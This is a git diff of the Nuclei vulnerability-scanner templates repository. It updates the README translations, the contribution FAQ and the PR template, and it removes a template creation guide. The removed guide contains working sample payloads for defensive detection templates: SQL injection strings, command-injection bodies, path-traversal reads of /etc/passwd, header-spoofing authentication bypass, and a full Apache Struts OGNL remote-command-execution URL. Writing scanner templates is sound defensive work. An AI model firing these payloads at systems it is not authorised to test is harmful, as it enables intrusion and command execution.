> **Note**: Triagers will make the final decision on whether a template qualifies for a reward based on validation and the acceptance criteria outlined.
## How do I start working on a bounty issue?
1. **Find an Issue**: Look for issues tagged with 💎 **Bounty**.
@@ -70,7 +65,7 @@ Templates may be rejected if they:
Yes! We now have a **leaderboard** that showcases top contributors. You can check it out here: [Leaderboard](https://cloud.projectdiscovery.io/templates/leaderboard).
## Is this program permanent?
The bounty program is currently a test run, but we may make changes based on community feedback.
The rewards program is currently a test run, but we may make changes based on community feedback.
## What additional rewards are available besides bounties?
Beyond bounties, we also reward contributors with:
+9 -9
View File
@@ -1,4 +1,4 @@
### PR Information
### Template / PR Information
<!-- Explains the information and/or motivation for update or/ creating this templates -->
<!-- Please include any reference to your template if available -->
@@ -6,23 +6,23 @@
- Fixed CVE-2020-XXX / Added CVE-2020-XXX / Updated CVE-2020-XXX
- References:
### Template validation
### Template Validation
<!-- Clarifies if the valdation of the template was done on an actual system for which the template was developed -->
<!-- If this concerns a vulnerability check, please clarify if validation was done on a known vulnerable system and optionally on a known not vulnerable system to avoid false positives -->
I've validated this template locally?
- [ ] YES
- [ ] NO
- [ ] Validated with a host running a vulnerable version and/or configuration (True Positive)
- [ ] Validated with a host running a patched version and/or configuration (avoid False Positive)
#### Additional Details (leave it blank if not applicable)
<!-- Include `nuclei -debug` output along with Shodan / Fofa / Google Query / Docker or screenshots if available -->
<!-- Include Shodan / Fofa / Google Query / Docker / Screenshots if available -->
<!-- Include HTTP/TCP/DNS Matched response data snippet if available -->
<!-- Please do NOT include vulnerable host information in pull requests -->
<!-- None of the prerequisites are obligatory; they are merely intended to speed the review process. -->
### Additional References:
- [Nuclei Template Creation Guideline](https://docs.projectdiscovery.io/templates/introduction)
- [Nuclei Template Creation Guideline](https://nuclei.projectdiscovery.io/templating-guide/)
- [Nuclei Template Matcher Guideline](https://github.com/projectdiscovery/nuclei-templates/wiki/Unique-Template-Matchers)
- [Nuclei Template Contribution Guideline](https://github.com/projectdiscovery/nuclei-templates/blob/master/CONTRIBUTING.md)
- [PD-Community Discord server](https://discord.gg/projectdiscovery)
- [PD-Community Discord server](https://discord.gg/projectdiscovery)
+14 -28
View File
@@ -14,11 +14,11 @@ Nuclei Templates
</p>
<p align="center">
<a href="https://docs.projectdiscovery.io/templates/introduction">Documentation</a> •
<a href="https://nuclei.projectdiscovery.io/templating-guide/">Documentation</a> •
<a href="#-contributions">Contributions</a> •
<a href="#-discussion">Discussion</a> •
<a href="#-community">Community</a> •
<a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
<a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
<a href="https://discord.gg/projectdiscovery">Join Discord</a>
</p>
@@ -36,38 +36,24 @@ An overview of the nuclei template project, including statistics on unique tags,
<table>
<tr>
<td>
### 🚨 Known Exploited Vulnerabilities (KEV) Coverage
Nuclei templates provide coverage for vulnerabilities actively exploited in the wild:
| **KEV Source** | **Templates** | **Description** |
|----------------|---------------|-----------------|
| 🔴 **CISA KEV** | **454** | [CISA Known Exploited Vulnerabilities Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
| 🟠 **VulnCheck KEV** | **1449** | [VulnCheck KEV](https://vulncheck.com/kev) - Enhanced vulnerability intelligence |
| 🟢 **Both Sources** | **407** | Templates covering vulnerabilities in both catalogs |
> 💡 **Total unique KEV templates: 1496** - Use `nuclei -tags kev,vkev` to scan for actively exploited vulnerabilities
---
<td>
## Nuclei Templates Top 10 statistics
| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT |
|-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
| vuln | 6468 | dhiyaneshdk | 1894 | http | 9281 | info | 4353 | file | 436 |
| cve | 3587 | daffainfo | 905 | cloud | 659 | high | 2552 | dns | 26 |
| discovery | 3265 | princechaddha | 854 | file | 436 | medium | 2457 | | |
| vkev | 1394 | dwisiswant0 | 805 | network | 259 | critical | 1555 | | |
| panel | 1365 | ritikchaddha | 678 | code | 251 | low | 330 | | |
| xss | 1269 | pussycat0x | 675 | dast | 240 | unknown | 54 | | |
| wordpress | 1261 | pikpikcu | 353 | workflows | 205 | | | | |
| exposure | 1141 | pdteam | 314 | javascript | 92 | | | | |
| wp-plugin | 1103 | pdresearch | 275 | ssl | 38 | | | | |
| osint | 848 | iamnoooob | 263 | dns | 23 | | | | |
| cve | 3225 | dhiyaneshdk | 1866 | http | 8825 | info | 4118 | file | 435 |
| panel | 1327 | daffainfo | 868 | cloud | 657 | high | 2423 | dns | 26 |
| xss | 1246 | dwisiswant0 | 806 | file | 435 | medium | 2339 | | |
| wordpress | 1168 | princechaddha | 806 | dast | 255 | critical | 1391 | | |
| exposure | 1094 | ritikchaddha | 633 | workflows | 202 | low | 318 | | |
| wp-plugin | 1023 | pussycat0x | 519 | code | 174 | unknown | 54 | | |
| osint | 810 | pikpikcu | 352 | network | 141 | | | | |
| tech | 782 | pdteam | 308 | javascript | 71 | | | | |
| lfi | 772 | pdresearch | 251 | ssl | 38 | | | | |
| rce | 770 | ricardomaia | 249 | dns | 23 | | | | |
**873 directories, 11997 files**.
**840 directories, 11171 files**.
</td>
</tr>
+15 -29
View File
@@ -20,11 +20,11 @@ Nuclei 模板
</p>
<p align="center">
<a href="https://docs.projectdiscovery.io/templates/introduction">文档</a> •
<a href="https://nuclei.projectdiscovery.io/templating-guide/">文档</a> •
<a href="#-贡献">贡献</a> •
<a href="#-交流">交流</a> •
<a href="#-社区">社区</a> •
<a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
<a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
<a href="https://discord.gg/projectdiscovery">加入Discord</a>
</p>
@@ -42,38 +42,24 @@ Nuclei 模板
<table>
<tr>
<td>
<td>
### 🚨 已知被利用漏洞 (KEV) 覆盖范围
Nuclei 模板为野外被积极利用的漏洞提供覆盖:
| **KEV 来源** | **模板数量** | **描述** |
|----------------|---------------|-----------------|
| 🔴 **CISA KEV** | **454** | [CISA 已知被利用漏洞目录](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
| 🟠 **VulnCheck KEV** | **1449** | [VulnCheck KEV](https://vulncheck.com/kev) - 增强的漏洞情报 |
| 🟢 **两个来源** | **407** | 覆盖两个目录中漏洞的模板 |
> 💡 **唯一 KEV 模板总数: 1496** - 使用 `nuclei -tags kev,vkev` 扫描被积极利用的漏洞
---
## Nuclei Templates Top 10 statistics
## Nuclei模板TOP10统计信息
| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT |
|-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
| vuln | 6468 | dhiyaneshdk | 1894 | http | 9281 | info | 4353 | file | 436 |
| cve | 3587 | daffainfo | 905 | cloud | 659 | high | 2552 | dns | 26 |
| discovery | 3265 | princechaddha | 854 | file | 436 | medium | 2457 | | |
| vkev | 1394 | dwisiswant0 | 805 | network | 259 | critical | 1555 | | |
| panel | 1365 | ritikchaddha | 678 | code | 251 | low | 330 | | |
| xss | 1269 | pussycat0x | 675 | dast | 240 | unknown | 54 | | |
| wordpress | 1261 | pikpikcu | 353 | workflows | 205 | | | | |
| exposure | 1141 | pdteam | 314 | javascript | 92 | | | | |
| wp-plugin | 1103 | pdresearch | 275 | ssl | 38 | | | | |
| osint | 848 | iamnoooob | 263 | dns | 23 | | | | |
| cve | 2877 | dhiyaneshdk | 1477 | http | 8219 | info | 3948 | file | 404 |
| panel | 1246 | daffainfo | 866 | file | 404 | high | 2135 | dns | 25 |
| wordpress | 1072 | dwisiswant0 | 803 | cloud | 370 | medium | 1840 | | |
| exposure | 1006 | princechaddha | 570 | workflows | 192 | critical | 1197 | | |
| xss | 987 | ritikchaddha | 496 | code | 157 | low | 287 | | |
| wp-plugin | 936 | pussycat0x | 453 | network | 138 | unknown | 43 | | |
| osint | 807 | pikpikcu | 353 | javascript | 65 | | | | |
| tech | 745 | pdteam | 302 | ssl | 30 | | | | |
| lfi | 727 | ricardomaia | 245 | dast | 26 | | | | |
| misconfig | 720 | geeknik | 231 | dns | 22 | | | | |
**873 directories, 11997 files**.
**743 directories, 9960 files**.
</td>
</tr>
+17 -31
View File
@@ -11,11 +11,11 @@ Nuclei テンプレート
</p>
<p align="center">
<a href="https://docs.projectdiscovery.io/templates/introduction">ドキュメント</a> •
<a href="https://nuclei.projectdiscovery.io/templating-guide/">ドキュメント</a> •
<a href="#-contributions">貢献</a> •
<a href="#-discussion">ディスカッション</a> •
<a href="#-community">コミュニティ</a> •
<a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
<a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
<a href="https://discord.gg/projectdiscovery">Discordに参加</a>
</p>
@@ -37,38 +37,24 @@ Nucleiテンプレートプロジェクトの概要であり、ユニークな
<table>
<tr>
<td>
<td>
### 🚨 既知の悪用される脆弱性 (KEV) カバレッジ
## Nuclei テンプレート トップ10統計
Nucleiテンプレートは、野生で積極的に悪用されている脆弱性のカバレッジを提供します:
| タグ | 数 | 著者 | 数 | ディレクトリ | 数 | 重大度 | 数 | 種類 | 数 |
|-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
| cve | 1325 | daffainfo | 629 | cves | 1306 | info | 1398 | http | 3644 |
| panel | 604 | dhiyaneshdk | 509 | exposed-panels | 613 | high | 955 | file | 76 |
| lfi | 490 | pikpikcu | 322 | vulnerabilities | 506 | medium | 784 | network | 50 |
| xss | 451 | pdteam | 269 | technologies | 273 | critical | 445 | dns | 17 |
| wordpress | 409 | geeknik | 187 | exposures | 254 | low | 211 | | |
| exposure | 360 | dwisiswant0 | 169 | token-spray | 230 | unknown | 7 | | |
| cve2021 | 324 | 0x_akoko | 157 | misconfiguration | 210 | | | | |
| rce | 319 | princechaddha | 149 | workflows | 187 | | | | |
| wp-plugin | 304 | pussycat0x | 130 | default-logins | 102 | | | | |
| tech | 286 | gy741 | 126 | file | 76 | | | | |
| **KEV ソース** | **テンプレート数** | **説明** |
|----------------|---------------|-----------------|
| 🔴 **CISA KEV** | **454** | [CISA 既知の悪用される脆弱性カタログ](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
| 🟠 **VulnCheck KEV** | **1449** | [VulnCheck KEV](https://vulncheck.com/kev) - 強化された脆弱性インテリジェンス |
| 🟢 **両方のソース** | **407** | 両方のカタログの脆弱性をカバーするテンプレート |
> 💡 **ユニークKEVテンプレート総数: 1496** - `nuclei -tags kev,vkev` を使用して積極的に悪用されている脆弱性をスキャン
---
## Nuclei Templates Top 10 statistics
| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT |
|-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
| vuln | 6468 | dhiyaneshdk | 1894 | http | 9281 | info | 4353 | file | 436 |
| cve | 3587 | daffainfo | 905 | cloud | 659 | high | 2552 | dns | 26 |
| discovery | 3265 | princechaddha | 854 | file | 436 | medium | 2457 | | |
| vkev | 1394 | dwisiswant0 | 805 | network | 259 | critical | 1555 | | |
| panel | 1365 | ritikchaddha | 678 | code | 251 | low | 330 | | |
| xss | 1269 | pussycat0x | 675 | dast | 240 | unknown | 54 | | |
| wordpress | 1261 | pikpikcu | 353 | workflows | 205 | | | | |
| exposure | 1141 | pdteam | 314 | javascript | 92 | | | | |
| wp-plugin | 1103 | pdresearch | 275 | ssl | 38 | | | | |
| osint | 848 | iamnoooob | 263 | dns | 23 | | | | |
**873 directories, 11997 files**.
**286個のディレクトリ、4012個のファイル**。
</td>
</tr>
+17 -31
View File
@@ -14,11 +14,11 @@ Nuclei 템플릿
</p>
<p align="center">
<a href="https://docs.projectdiscovery.io/templates/introduction">가이드 문서</a> •
<a href="https://nuclei.projectdiscovery.io/templating-guide/">가이드 문서</a> •
<a href="#-contributions">기여</a> •
<a href="#-discussion">논의</a> •
<a href="#-community">커뮤니티</a> •
<a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
<a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
<a href="https://discord.gg/projectdiscovery">디스코드</a>
</p>
@@ -39,38 +39,24 @@ Nuclei 템플릿
<table>
<tr>
<td>
<td>
### 🚨 알려진 악용되는 취약점 (KEV) 적용 범위
## Nuclei 템플릿 통계 Top 10
Nuclei 템플릿은 실제로 악용되고 있는 취약점에 대한 적용 범위를 제공합니다:
| 태그 | 개수 | 작성자 | 개수 | 디렉토리 | 개수 | 심각도 | 개수 | 종류 | 개수 |
|-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
| cve | 1325 | daffainfo | 629 | cves | 1306 | info | 1398 | http | 3644 |
| panel | 604 | dhiyaneshdk | 509 | exposed-panels | 613 | high | 955 | file | 76 |
| lfi | 490 | pikpikcu | 322 | vulnerabilities | 506 | medium | 784 | network | 50 |
| xss | 451 | pdteam | 269 | technologies | 273 | critical | 445 | dns | 17 |
| wordpress | 409 | geeknik | 187 | exposures | 254 | low | 211 | | |
| exposure | 360 | dwisiswant0 | 169 | token-spray | 230 | unknown | 7 | | |
| cve2021 | 324 | 0x_akoko | 157 | misconfiguration | 210 | | | | |
| rce | 319 | princechaddha | 149 | workflows | 187 | | | | |
| wp-plugin | 304 | pussycat0x | 130 | default-logins | 102 | | | | |
| tech | 286 | gy741 | 126 | file | 76 | | | | |
| **KEV 소스** | **템플릿 수** | **설명** |
|----------------|---------------|-----------------|
| 🔴 **CISA KEV** | **454** | [CISA 알려진 악용되는 취약점 카탈로그](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
| 🟠 **VulnCheck KEV** | **1449** | [VulnCheck KEV](https://vulncheck.com/kev) - 강화된 취약점 인텔리전스 |
| 🟢 **두 소스 모두** | **407** | 두 카탈로그의 취약점을 포함하는 템플릿 |
> 💡 **총 고유 KEV 템플릿: 1496** - `nuclei -tags kev,vkev`를 사용하여 적극적으로 악용되는 취약점 스캔
---
## Nuclei Templates Top 10 statistics
| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT |
|-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
| vuln | 6468 | dhiyaneshdk | 1894 | http | 9281 | info | 4353 | file | 436 |
| cve | 3587 | daffainfo | 905 | cloud | 659 | high | 2552 | dns | 26 |
| discovery | 3265 | princechaddha | 854 | file | 436 | medium | 2457 | | |
| vkev | 1394 | dwisiswant0 | 805 | network | 259 | critical | 1555 | | |
| panel | 1365 | ritikchaddha | 678 | code | 251 | low | 330 | | |
| xss | 1269 | pussycat0x | 675 | dast | 240 | unknown | 54 | | |
| wordpress | 1261 | pikpikcu | 353 | workflows | 205 | | | | |
| exposure | 1141 | pdteam | 314 | javascript | 92 | | | | |
| wp-plugin | 1103 | pdresearch | 275 | ssl | 38 | | | | |
| osint | 848 | iamnoooob | 263 | dns | 23 | | | | |
**873 directories, 11997 files**.
**286개 디렉토리, 4012개 파일**.
</td>
</tr>
-524
View File
@@ -1,524 +0,0 @@
# Nuclei Template Creation Guide
**Complete Guide for Writing High-Quality Security Templates**
---
## Getting Started
### **What is a Nuclei Template?**
Nuclei templates are the cornerstone of the Nuclei scanning engine, designed to enable precise and rapid scanning across various protocols like TCP, DNS, HTTP, and more. Templates are YAML-based definitions that describe how to detect security vulnerabilities, misconfigurations, and exposures while ensuring low-to-zero false positives.
> **📖 Official Documentation**: For comprehensive technical details, visit [ProjectDiscovery Template Docs](https://docs.projectdiscovery.io/templates/introduction)
### **Template Structure Overview**
```yaml
id: template-identifier
info:
name: Human Readable Vulnerability Name
author: your-github-username,vulnerability-discoverer-handle
severity: critical|high|medium|low|info
description: Clear explanation of what this template detects
reference:
- https://link-to-vulnerability-details
classification:
cve-id: CVE-2024-1234
cwe-id: CWE-89
tags: cve,sqli,rce
metadata:
verified: true
shodan-query: 'http.title:"VulnApp"'
http:
- method: GET
path:
- "{{BaseURL}}/vulnerable-endpoint"
matchers:
- type: word
words:
- "vulnerability_indicator"
part: body
```
---
## Step-by-Step Template Creation
### **Step 1: Research and Understand the Vulnerability**
Before writing any code:
- [ ] Read the original vulnerability disclosure/advisory
- [ ] Understand the root cause and exploitation method
- [ ] Identify unique indicators that prove vulnerability exists
- [ ] Test the vulnerability in a controlled environment
- [ ] Document the vulnerable versions and affected components
### **Step 2: Choose Your Template ID and Info**
```yaml
# Use descriptive, short identifiers
id: apache-struts-ognl-injection # GOOD - clear and specific
id: vuln-app-rce # BAD - too generic
info:
name: Apache Struts OGNL Code Injection # Format: "Vendor Product - Vulnerability Type"
author: your-github-username,original-researcher-handle # Always credit the discoverer
severity: critical # Based on CVSS score and real-world impact
```
### **Step 3: Write Accurate Description and References**
```yaml
info:
description: |
Apache Struts 2.x before 2.3.34 and 2.5.x before 2.5.16 suffer from
OGNL injection vulnerability that allows remote code execution.
reference:
- https://cwiki.apache.org/confluence/display/WW/S2-057
- https://nvd.nist.gov/vuln/detail/CVE-2018-11776
- https://seclists.org/fulldisclosure/2018/Aug/31
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2018-11776
cwe-id: CWE-94
```
### **Step 4: Add Proper Tags and Metadata**
```yaml
info:
tags: cve,cve2018,rce,apache,struts,ognl # Be specific and comprehensive
metadata:
verified: true # Only if you've tested it yourself
max-request: 1 # Auto-calculated, don't set manually
shodan-query: 'http.component:"Apache Struts"'
fofa-query: 'body="struts" && title="Apache"'
```
---
## Writing Effective HTTP Requests
### **Basic HTTP Template Structure**
```yaml
http:
- method: GET|POST|PUT|DELETE
path:
- "{{BaseURL}}/endpoint" # Dynamic BaseURL variable
- "{{Hostname}}/another-path" # Alternative dynamic variable
headers:
User-Agent: Custom-Agent-String
Content-Type: application/json
Origin: https://example.com
body: |
{"param": "{{payload}}"}
disable-cookie: false # Cookies reused by default (optional)
matchers-condition: and # Require ALL matchers to pass
matchers:
- type: word
words:
- "success_indicator"
part: body
```
> **📖 Reference**: [HTTP Template Syntax](https://docs.projectdiscovery.io/templates/protocols/http) for complete protocol details
### **Using Variables for Flexibility**
```yaml
variables:
username: "admin"
payload: "{{rand_base(8)}}"
http:
- method: POST
path:
- "{{BaseURL}}/login"
body: |
username={{username}}&password={{payload}}
```
---
## Matcher Best Practices
### **🚫 Avoid Weak Matchers**
```yaml
# BAD - Too generic, will match many innocent systems
matchers:
- type: word
words:
- "error"
- "admin"
- "login"
part: body
```
### **✅ Use Strong, Specific Matchers**
```yaml
# GOOD - Specific to the vulnerability
matchers-condition: and
matchers:
- type: word
words:
- "VulnApp Management Console v2.1.0" # Specific application version
- "Build 2024.03.15" # Specific build
part: body
- type: status
status:
- 200
- type: word
words:
- "OGNL_INJECTION_SUCCESS_{{randstr}}" # Proof of exploitation
- "java.lang.ProcessBuilder" # Technical indicator
part: body
condition: or # Any of these proves exploitation
```
### **Multi-Layer Verification Strategy**
```yaml
# Layer 1: Identify the application
# Layer 2: Confirm vulnerable version
# Layer 3: Prove vulnerability exists
matchers-condition: and
matchers:
- type: word # Layer 1: App identification
words:
- "Apache Struts Framework"
- "struts-tags"
part: body
- type: regex # Layer 2: Version detection
regex:
- 'Struts 2\.[0-4]\.[0-9]+' # Vulnerable version range
part: body
- type: word # Layer 3: Exploitation proof
words:
- "ognl.OgnlException"
- "java.lang.SecurityException"
part: body
condition: or
```
---
## Testing Your Template
### **Before Submitting - Test Thoroughly**
```bash
# Test against known vulnerable instance
nuclei -t your-template.yaml -target http://vulnerable-app.local -debug
# Test against patched/non-vulnerable systems
nuclei -t your-template.yaml -target http://patched-app.local -debug
# Test against similar but different applications
nuclei -t your-template.yaml -target http://different-but-similar-app.local -debug
```
### **Validation Checklist**
- [ ] Template detects the vulnerability on vulnerable systems
- [ ] Template does NOT trigger false positives on:
- [ ] Patched versions of the same application
- [ ] Similar applications from the same vendor
- [ ] Generic web frameworks or CMSs
- [ ] Default server error pages
- [ ] Matchers are specific enough to avoid honeypots
- [ ] References are valid and accessible
- [ ] YAML syntax is correct (`nuclei -validate -t template.yaml`)
---
## Common Vulnerability Types - Template Patterns
### **SQL Injection Detection**
```yaml
http:
- method: POST
path:
- "{{BaseURL}}/search"
body: "q={{payload}}"
payloads:
payload:
- "1' OR '1'='1"
- "1' UNION SELECT version()--"
- "1' AND (SELECT SUBSTRING(@@version,1,1))='5'--"
matchers:
- type: word
words:
- "mysql_fetch_array(): supplied argument"
- "You have an error in your SQL syntax"
- "Microsoft OLE DB Provider for ODBC"
part: body
```
### **Remote Code Execution (RCE)**
```yaml
variables:
cmd: "whoami"
marker: "{{rand_base(8)}}"
http:
- method: POST
path:
- "{{BaseURL}}/execute"
body: |
command={{cmd}} && echo {{marker}}
matchers:
- type: word
words:
- "{{marker}}"
part: body
- type: regex
regex:
- 'root|administrator|www-data'
part: body
```
### **Local File Inclusion (LFI)**
```yaml
http:
- method: GET
path:
- "{{BaseURL}}/view?file=../../../etc/passwd"
- "{{BaseURL}}/view?file=..\\..\\..\\windows\\win.ini"
matchers:
- type: regex
regex:
- 'root:.*?:[0-9]*:[0-9]*:' # Linux /etc/passwd
- '\[fonts\]' # Windows win.ini
part: body
```
### **Authentication Bypass**
```yaml
http:
- method: GET
path:
- "{{BaseURL}}/admin"
headers:
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
matchers-condition: and
matchers:
- type: word
words:
- "Admin Dashboard"
- "Administrative Panel"
part: body
- type: status
status:
- 200
```
---
## Advanced Template Features
### **Using Extractors for Data Collection**
```yaml
http:
- method: GET
path:
- "{{BaseURL}}/info"
extractors:
- type: regex
name: version
regex:
- 'Version: ([0-9\.]+)'
group: 1
matchers:
- type: word
words:
- "Application Info"
part: body
```
### **Conditional Logic with DSL**
```yaml
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "vulnerable_pattern")'
- 'len(body) > 1000'
condition: and
```
### **Network Templates for Non-HTTP Services**
```yaml
network:
- inputs:
- data: "{{hex_decode('474554202f20485454502f312e310d0a0d0a')}}" # GET / HTTP/1.1
host:
- "{{Hostname}}"
port: 8080
matchers:
- type: word
words:
- "Server: VulnServer/1.0"
part: data
```
---
## Submission Guidelines
### **Preparing Your Template for Submission**
1. **Validate Syntax**
```bash
nuclei -validate -t your-template.yaml
```
2. **Test Thoroughly**
```bash
nuclei -t your-template.yaml -target vulnerable-instance.com -debug
```
3. **Check for Existing Templates**
- Search the repository for similar vulnerabilities
- Avoid duplicating existing detection logic
- If improving existing template, explain why
4. **Follow Naming Conventions**
- Place in appropriate directory (`cves/2024/`, `exposures/`, `misconfiguration/`)
- Use descriptive filename: `CVE-2024-1234.yaml` or `app-name-vuln-type.yaml`
### **Pull Request Best Practices**
- **Title**: Clear description of what the template detects
- **Description**: Include:
- Link to vulnerability details/advisory
- Affected versions
- Testing methodology
- Screenshots/proof if possible
- **Testing**: Show debug output proving detection works
- **Test Instances**: If you have a testable self-hosted instance or vulnerable environment that cannot be shared publicly, email [email protected]
- **References**: Include all relevant security advisories
> **💡 Pro Tip**: Providing a testable vulnerable environment significantly reduces review time and speeds up the template merge process. Reviewers can immediately validate your template instead of setting up their own test environment.
---
## Quality Checklist
### **Before Submitting Your Template**
- [ ] **Functionality**
- [ ] Template detects the intended vulnerability
- [ ] No false positives on tested systems
- [ ] Matchers are specific and accurate
- [ ] **Attribution**
- [ ] Original vulnerability discoverer credited in author field
- [ ] All references included and valid
- [ ] Proper CVSS scoring if applicable
- [ ] **Quality**
- [ ] YAML syntax is valid
- [ ] Follows nuclei template conventions
- [ ] Includes appropriate tags and metadata
- [ ] **Testing**
- [ ] Tested against vulnerable instance
- [ ] Tested against non-vulnerable similar systems
- [ ] Debug output reviewed for accuracy
- [ ] **Documentation**
- [ ] Clear description of what template detects
- [ ] Proper severity classification
- [ ] Complete reference list
---
## Examples of High-Quality Templates
### **Complete CVE Template Example**
```yaml
id: CVE-2024-1234-apache-struts-rce
info:
name: Apache Struts 2.x OGNL Code Injection
author: your-github-username,original-researcher-handle
severity: critical
description: |
Apache Struts 2.x before 2.3.34 and 2.5.x before 2.5.16 suffer from
OGNL injection vulnerability in the namespace value that allows remote
code execution.
reference:
- https://cwiki.apache.org/confluence/display/WW/S2-057
- https://nvd.nist.gov/vuln/detail/CVE-2018-11776
- https://seclists.org/fulldisclosure/2018/Aug/31
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2018-11776
cwe-id: CWE-94
metadata:
verified: true
shodan-query: 'http.component:"Apache Struts"'
fofa-query: 'body="struts" && title="Apache"'
tags: cve,cve2018,rce,apache,struts,ognl,kev
variables:
command: "whoami"
marker: "{{rand_base(8)}}"
http:
- method: GET
path:
- "{{BaseURL}}/${(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='{{command}}').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}/actionChain1.action"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "struts"
- "java"
part: body
condition: or
- type: regex
regex:
- 'root|administrator|www-data|apache'
part: body
```
---
## Getting Help
### **Resources**
- **Official Documentation**: [ProjectDiscovery Template Docs](https://docs.projectdiscovery.io/templates/introduction)
- **HTTP Templates**: [HTTP Protocol Documentation](https://docs.projectdiscovery.io/templates/protocols/http)
- **AI Template Creation**: [ProjectDiscovery Cloud Templates](https://cloud.projectdiscovery.io/templates) - AI-powered template generation
- **Examples**: Browse existing templates in the [Nuclei Templates Repository](https://github.com/projectdiscovery/nuclei-templates)
- **Community**: Join [ProjectDiscovery Discord](https://discord.gg/projectdiscovery) for questions and discussions
- **Testing**: Use local vulnerable applications for safe testing
- **Test Instances**: Email templates@projectdiscovery.io if you can provide a testable vulnerable environment
> **💡 Pro Tip**: Sharing test instances with reviewers significantly accelerates the template review and merge process.
### **Common Issues and Solutions**
- **False Positives**: Make matchers more specific, add version detection
- **YAML Errors**: Use online YAML validators, check indentation
- **Template Not Triggering**: Verify target is actually vulnerable, check debug output
- **Performance Issues**: Minimize requests, optimize matchers
---
*This guide provides everything needed to create high-quality, accurate nuclei templates that contribute valuable security detection capabilities to the community.*
-441
View File
@@ -1,441 +0,0 @@
# Nuclei Template Review Guide
**Best Practices for Template Quality and Security**
---
## Quick Reference
### **Review Priority Areas**
1. **Quality & Consistency** - Formatting, syntax, field standardization
2. **Metadata Enhancement** - Search queries, classifications, documentation
3. **Tags Optimization** - Category alignment, searchability
4. **Classification** - CVE/CWE alignment, severity scoring
5. **Matcher Refinement** - Detection logic, false positive prevention
### **Common Areas for Improvement**
- **Community Contributions:** Often need metadata and classification enhancements
- **Template Reviews:** Focus on technical accuracy and matcher quality
---
## Pre-Review Checklist
### **Template Completeness Verification**
```yaml
Required Fields Checklist:
- [ ] id: Short, descriptive (max 3-4 words)
- [ ] name: Format "Vendor Product Version - Vulnerability"
- [ ] author: Template creator, vulnerability discoverer (comma-separated)
- [ ] severity: info/low/medium/high/critical (CVSS aligned)
- [ ] description: Clear vulnerability explanation
- [ ] reference: Valid POC/advisory links
- [ ] classification: CVE-ID, CWE-ID if applicable
```
### **Author Attribution Best Practices**
```yaml
# GOOD - Include both template author and vulnerability discoverer in author field
info:
author: template-author-github-username,original-discoverer-handle
description: SQL injection vulnerability in Example App v2.1.0 allows remote code execution.
reference:
- https://github.com/security_researcher/advisories/example-app-sqli
- https://nvd.nist.gov/vuln/detail/CVE-2024-1234
# EXAMPLES of proper author attribution
info:
author: princechaddha,0xd0ff9 # Template by princechaddha, vulnerability found by 0xd0ff9
info:
author: dhiyaneshDk,researcher_name # Template by dhiyaneshDk, discovered by researcher_name
info:
author: geeknik,@security_handle # Template by geeknik, found by @security_handle
```
### **Metadata Quality Check**
```yaml
Enhanced Metadata:
- [ ] verified: true (if tested with debug data)
- [ ] shodan-query: Search dork for asset discovery
- [ ] fofa-query: Alternative search engine query
- [ ] tags: Appropriate categories (cve, rce, lfi, etc.)
Note: max-request is auto-generated and doesn't need manual input
```
---
## Matcher Quality Framework
### **🚫 Weak Matchers (High False Positive Risk)**
#### **Generic Response Patterns - AVOID**
```yaml
# BAD - Matches any admin interface globally
matchers:
- type: word
words:
- "admin"
- "login"
- "dashboard"
part: body
```
**Problem:** These terms appear on millions of legitimate systems
#### **Version-Only Detection - AVOID**
```yaml
# BAD - Matches all versions, not just vulnerable ones
matchers:
- type: regex
regex:
- 'WordPress [0-9]+\.[0-9]+'
part: body
```
**Problem:** Doesn't verify actual vulnerability presence
### **✅ Strong Vulnerability-Specific Matchers**
#### **Multi-Layer Verification Strategy**
```yaml
# GOOD - Combines application + version + vulnerability proof
matchers-condition: and
matchers:
- type: word # Layer 1: Identify specific application
words:
- "Grafana Dashboard"
- "grafana.com/login"
part: body
- type: regex # Layer 2: Confirm vulnerable version range
